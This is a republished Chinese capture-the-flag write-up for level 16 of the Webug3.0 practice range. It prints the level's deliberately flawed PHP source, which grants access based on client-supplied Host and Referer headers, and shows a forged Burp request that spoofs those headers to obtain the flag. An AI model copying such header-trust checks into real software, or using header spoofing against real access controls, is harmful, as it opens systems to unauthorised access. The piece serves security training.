欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > Webug3.0通关笔记16 第十六关:明天双十一

Webug3.0通关笔记16 第十六关:明天双十一

2025/4/30 3:42:16 来源:https://blog.csdn.net/mooyuan/article/details/128137974  浏览:    关键词:Webug3.0通关笔记16 第十六关:明天双十一

目录

第十六关:明天双十一

(一)打开靶场

(二)源码分析

 (三)渗透条件

(四)渗透实战

1. bp抓包

2. 改包渗透


第十六关:明天双十一

本文通过《webug3靶场第十六关 明天双十一》通过代码审计完成关卡的渗透实战。本关卡是需要通过代码审计,配置报文的http首部的refer和host字段才可以将报文修正。不过这一关卡靶场的开发对于渗透方法的理解也稍有不同,因为根据网页提示需要修改x-forwarded-for字段,源但是根据代码审计需要修改Host字段,这两者的区别会导致渗透方法稍有不同。

(一)打开靶场

如下所示打开靶场,第16关卡如下图红框所示,小标题为《明天双十一》,大标题为《我从公司网络去剁手了》,猜测本关卡与购物网站相关。

点击第16关,完整的URL网址链接如下。

http://192.168.71.1/webug3/pentest/test/12/

 进入16关卡后,页面提示宝宝有钱想从公司去某个之王网站剁手,页面如下所示。 

根据提示双十一去淘宝剁手,在网站地方输入淘宝网址。

www.taobao.com

输入后页面提示只允许10.10.10.10访问具体如下所示。

猜测绕过需要将字段修改为如下内容x-forwarded-for:10.10.10.10。

(二)源码分析

根据源码,需要满足$_SERVER['HTTP_REFERER'],"www.topsec.com.cn"才可以渗透出flag

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("263b4b51e98a64e8af1a95f8c60ad3aa")==md5($flag)){echo "<font color='green'>success,请记录您的flag</font>";}else{echo "<font color='red'>加油努力,快去剁手</font>";}
}else{$url=$_REQUEST['url'];
if($url!=null||$url!=""){if(strstr($url,"www.taobao.com")){if($_SERVER['HTTP_HOST']=="10.10.10.10"){if(strstr($_SERVER['HTTP_REFERER'],"www.topsec.com.cn")){if(strstr($_SERVER['HTTP_REFERER'],"www.topsec.com.cn")){echo "剁手了,请记录截图!!!flag:83242lkjKJ(*&*^*&k0"."<br/>";}else{echo "不想剁手了"."<br/>";}}else{echo "nono"."<br/>";}}else{echo "哎呀,这里只允许10.10.10.10访问!!!"."<br/>";}}else{echo "这个地方剁手不好,换个地方!";}
}
}?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>剁手党的天堂</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">宝宝有钱想从公司去某个知名站剁手.</label>
<input type="text" id="url" name="url" size="60px">
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">请输入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
</body>
</html>

因为靶场的源码写的确实有点不规范,看起来有点乱,对与URL相关的代码进行规范化并进行代码注释,整理后的代码如下所示

<?php
// 从请求中获取名为 'url' 的参数值,并赋值给变量 $url
$url = $_REQUEST['url'];// 检查 $url 是否既不为 null 也不为空字符串
if ($url!== null && $url!== "") {// 检查 $url 中是否包含 'www.taobao.com'if (strstr($url, "www.taobao.com")) {// 检查当前服务器的主机名是否为 '10.10.10.10'if ($_SERVER['HTTP_HOST'] === "10.10.10.10") {// 检查 HTTP 请求的来源页面是否包含 'www.topsec.com.cn'if (strstr($_SERVER['HTTP_REFERER'], "www.topsec.com.cn")) {// 这里重复判断了,可优化,输出成功信息并给出 flagecho "剁手了,请记录截图!!!flag:83242lkjKJ(*&*^*&k0<br/>";} else {// 若来源页面不符合要求,输出不想剁手信息echo "不想剁手了<br/>";}} else {// 若主机名不符合要求,输出只允许指定主机访问的提示echo "哎呀,这里只允许10.10.10.10访问!!!<br/>";}} else {// 若 $url 不包含 'www.taobao.com',提示换个地方剁手echo "这个地方剁手不好,换个地方!";}
}
?>

 (三)渗透条件

通过源码分析,我们可知上述代码会在满足以下所有条件的情况下输出 flag

  1. $url 不为空
    • 代码通过 $url = $_REQUEST['url']; 获取请求中的 url 参数值,然后使用 $url!= null && $url!= "" 来判断 $url 既不是 null 也不是空字符串。只有当 $url 有实际值时,才会继续后续的判断。
  2. $url 包含 www.taobao.com
    • 使用 strstr($url, "www.taobao.com") 函数来检查 $url 中是否包含 "www.taobao.com" 字符串。如果包含,则继续进行下一步判断。
  3. 当前服务器主机名是 10.10.10.10
    • 通过 $_SERVER['HTTP_HOST'] == "10.10.10.10" 来判断当前服务器的主机名是否为 "10.10.10.10"。只有当主机名匹配时,才会继续后续判断。
  4. HTTP 请求的来源页面包含 www.topsec.com.cn
    • 使用 strstr($_SERVER['HTTP_REFERER'], "www.topsec.com.cn") 来检查 HTTP 请求的来源页面(HTTP_REFERER)是否包含 "www.topsec.com.cn"。如果满足这个条件,就会输出 flag 信息。

上一步我们根据页面提示《只允许10.10.10.10访问》本以为应该是修改x-forwarded-for字段,但是通过源码分析,我们可以指导这里要求$_SERVER['HTTP_HOST']=="10.10.10.10",这就有点问题了,猜测是写代码的开发人员对ip地址的误解。

(1)基于源码的代码审计,应该修改如下参数可以绕过

修改Referer:www.topsec.com.cn

修改Host:10.10.10.10

(2)按照页面提示《只允许10.10.10.10访问》含义,正常应该是修改如下两个参数

修改Referer:www.topsec.com.cn

添加x-forwarded-for:10.10.10.10

(四)渗透实战

1. bp抓包

在输入框内输入“www.taobao.com”并点击go,使用bp抓包并将报文发送到repeater。

2. 改包渗透

修改Referer:www.topsec.com.cn

修改Host:10.10.10.10

GET /webug3/pentest/test/12/?url=www.taobao.com HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: www.topsec.com.cn
Cookie: PHPSESSID=hv0us94ogmk1hg9i810trcjqu5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

修改后点击Send,如下所示渗透成功获取到flag。 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词